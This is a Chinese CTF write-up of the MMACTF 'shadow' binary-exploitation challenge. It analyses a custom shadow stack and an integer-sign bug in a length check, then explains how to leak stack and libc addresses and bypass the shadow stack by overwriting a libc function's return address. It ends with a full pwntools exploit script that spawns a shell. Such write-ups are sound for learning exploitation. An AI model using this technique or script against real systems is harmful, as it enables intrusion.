今天在前往西安打华山杯的火车上百无聊赖,就补了下之前打MMACTF碰到的一道不错的题目,顺便写一下Writeup。
题目分析
首先我们先玩一下这道题的binary文件,可以看出来这道题目是一个留言系统,一共可以留言3次,每次留言需要输入name messagelength message,其中name是可选输入项。
Hello!
You can send message three times.
Input name : haha
Message length : 10
Input message : 233333333
(1/3) <haha> 233333333
Change name? (y/n) : y
Input name : xixi
Message length : 6
Input message : 66666
(2/3) <xixi> 66666
Change name? (y/n) : n
Message length : 3
Input message : ha
(3/3) <xixi> ha
Bye!
然后再看看这个题目的保护机制,Full RELRO的开启使得无法使用覆盖GOT的方法劫持控制流
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
将binary文件拖进IDA,会发现这道题目的函数调用与一般的可执行文件不一样,所有的函数调用都会被封装在call函数中,而函数返回则会被封装到ret函数中。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // ebp@0
void *block; // esp@1
char *buf; // [esp+1Ch] [ebp-Ch]@1
call((int (__cdecl *)(void *))printf, "Hello!\nYou can send message three times.\n");
block = alloca(64);
buf = (char *)(16 * (((unsigned int)&buf + 3) >> 4));
*buf = 0;
call((int (__cdecl *)(void *))message, buf, 0x10, 3);
call((int (__cdecl *)(void *))printf, "Bye!\n");
return (int)ret(v3, 0);
}
仔细研究call以及ret函数,可以发现这个题目的binary程序自己实现了一个影子栈(shadow stack),所有的函数调用以及函数返回都是通过这个影子栈进行。除了在函数调用和函数返回的时候,影子栈都是不可读写的。这样就导致了无法通过修改或覆盖返回地址的方式劫持控制流。
int call(int (__cdecl *a1)(void *), ...)
{
int vars0; // [esp+4h] [ebp+0h]@0
int retaddr; // [esp+8h] [ebp+4h]@1
push(retaddr);
push(vars0);
return a1(ret_stub);
}
int __cdecl push(int a1)
{
int *v1; // ebx@3
int result; // eax@3
stackpointer = *MK_FP(__GS__, 32);
if ( stackpointer <= (unsigned int)stack_buf )
_exit(1);
stackpointer -= 4;
mprotect(stack_buf, 0x1000u, 2);
v1 = (int *)stackpointer;
*v1 = enc_dec(a1);
mprotect(stack_buf, 0x1000u, 0);
result = stackpointer;
*MK_FP(__GS__, 32) = stackpointer;
return result;
}
void (*__usercall ret@<eax>(int *a1@<ebp>, int a2))()
{
void (*result)(); // eax@1
rval = a2;
*a1 = pop();
result = restore_eip;
a1[1] = (int)restore_eip;
return result;
}
漏洞分析
这道题的漏洞存在于留言函数中,由于getline函数的第二个参数length为unsigned int16型,所以当我们输入message的长度是负数时,传入getline的length将会是一个非常大的无符号整数,从而形成了一个越界写的漏洞。
void (*__cdecl leave_message(void *name, int name_len, int times))(){
...
call((int (__cdecl *)(void *))printf, "Message length : ");
call((int (__cdecl *)(void *))getnline, buf, 32);
msglen = call((int (__cdecl *)(void *))atoi, buf);
if ( msglen > 32 )
msglen = 32;
call((int (__cdecl *)(void *))printf, "Input message : ");
call((int (__cdecl *)(void *))getnline, buf, msglen);
...
}
void (*__cdecl getnline(void *buf, unsigned __int16 readlen))()
漏洞利用
任意地址可读可写
利用越界写漏洞可以修改留言函数的参数,修改name和name_len可以实现任意地址读写,修改times可以使得留言次数变为无限,从而实现无限次的任意地址可读可写。
利用for循环最后的printf函数,可以通过填充buf的长度len来泄漏栈地址buf+len的内容
void (*__cdecl leave_message(void *name, int name_len, int times))()
{
int *v3; // ebp@0
unsigned int v4; // eax@2
void (*result)(); // eax@13
int v6; // esi@13
int i; // [esp+24h] [ebp-34h]@1
int msglen; // [esp+28h] [ebp-30h]@9
char buf[32]; // [esp+2Ch] [ebp-2Ch]@3
int v10; // [esp+4Ch] [ebp-Ch]@1
for ( i = 0; i < times; ++i )
{
...
if ( call((int (__cdecl *)(void *))strlen, name) )
{
call((int (__cdecl *)(void *))printf, "Change name? (y/n) : ");
call((int (__cdecl *)(void *))getnline, buf, 32);
}
if ( !call((int (__cdecl *)(void *))strlen, name) || buf[0] == 'y' )
{
call((int (__cdecl *)(void *))printf, "Input name : ");
call((int (__cdecl *)(void *))getnline, name, name_len);
}
...
call((int (__cdecl *)(void *))printf, "(%d/%d) <%s> %s\n\n", i + 1, times, name, buf);
}
}
控制流劫持
实现了任意地址无限次可读可写与栈地址的读之后,距离控制流劫持应该是只有一步之遥了,但是有一个很麻烦的问题却出现了:写什么?读什么?
由于影子栈,我们没办法通过改写程序的返回地址来劫持控制流。由于Full RELRO,我们没有办法通过改写GOT或.finiarray来劫持控制流。当时比赛的时候我们就被卡在这里了。这也是这道题目出的最精妙的地方。
再次仔细研究这道题目的影子栈,会发现虽然binary文件中的所有函数调用都被影子栈所保护,但是libc的函数没有啊(函数调用只使用call函数调用没有使用ret函数返回),虽然binary的GOT被Full RELRO保护,但是libc的GOT没有啊!所以这道题的主要思路是通过写libc函数在栈上的返回地址或者改写libc的GOT来劫持控制流。
首先我们通过任意栈地址读来读取OLD EBP从而泄漏栈地址,接着我们再次利用任意栈地址读泄漏存在于栈中的一个libc data段的地址,利用这个地址我们可以算出system函数的地址,最后我们利用任意地址写来改写libc函数read本身的返回地址来实现控制流劫持,并覆盖read的返回地址后的内存为ROPGadget,通过ROP我们可以轻松获取shell了。
Exploit
from pwn import *;
port=8888
objname = "shadow"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="i386", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
print data;
return data;
def write(data):
io.send(str(data));
def writeline(data):
io.sendline(str(data));
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
writeline("name")
writeline("-1"+29*"P");
write("A"*0x2c)
readuntil("A"*0x2c);
stack=readlen(4);
stack=u32(stack);
print hex(stack)
readall();
add2w=stack-0x100;
sleep(0.1)
writeline("n");
writeline("-1"+29*"P");
payload="A"*0x2c;
payload+="xEBP";
payload+="xRET";
payload+=p32(add2w)
payload+=p32(0x7fffffff);
payload+=p32(0x7fffffff);
payload+=0x14*"P";
write(payload)
readuntil("P"*0x14);
libcdata=readlen(4);
libcdata=u32(libcdata);
system=libcdata-0x16a930
binsh=libcdata-0x4a09c
print hex(system)
readall()
sleep(0.1)
payload=p32(system);
payload+="xRET";
payload+=p32(binsh)
writeline(payload)
readall()
io.interactive();
attack()